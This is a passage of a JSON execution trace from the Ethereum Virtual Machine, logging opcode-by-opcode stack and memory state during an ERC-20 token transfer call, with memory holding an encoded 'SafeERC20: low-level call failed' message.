00000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7608,"op":"SWAP2","gas":31838,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x1","0x124"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7609,"op":"POP","gas":31835,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x124","0x1","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7610,"op":"SWAP2","gas":31833,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x124","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7611,"op":"POP","gas":31830,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x1","0x124","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7612,"op":"PUSH2","gas":31828,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x1","0x124"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7615,"op":"DUP3","gas":31825,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x1","0x124","0x1dc6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7616,"op":"DUP3","gas":31822,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x1","0x124","0x1dc6","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7617,"op":"DUP7","gas":31819,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x1","0x124","0x1dc6","0x1","0x124"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7618,"op":"PUSH2","gas":31816,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x1","0x124","0x1dc6","0x1","0x124","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7621,"op":"JUMP","gas":31813,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x1","0x124","0x1dc6","0x1","0x124","0xe4","0x1dd1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7633,"op":"JUMPDEST","gas":31805,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x1","0x124","0x1dc6","0x1","0x124","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7634,"op":"PUSH1","gas":31804,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x1","0x124","0x1dc6","0x1","0x124","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7636,"op":"DUP4","gas":31801,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x1","0x124","0x1dc6","0x1","0x124","0xe4","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7637,"op":"ISZERO","gas":31798,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x1","0x124","0x1dc6","0x1","0x124","0xe4","0x60","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7638,"op":"PUSH2","gas":31795,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x1","0x124","0x1dc6","0x1","0x124","0xe4","0x60","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7641,"op":"JUMPI","gas":31792,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x1","0x124","0x1dc6","0x1","0x124","0xe4","0x60","0x0","0x1de0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7642,"op":"POP","gas":31782,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x1","0x124","0x1dc6","0x1","0x124","0xe4","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7643,"op":"DUP2","gas":31780,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x1","0x124","0x1dc6","0x1","0x124","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7644,"op":"PUSH2","gas":31777,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x1","0x124","0x1dc6","0x1","0x124","0xe4","0x124"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7647,"op":"JUMP","gas":31774,"gasCost":8,"depth":2,"stack":["0x6d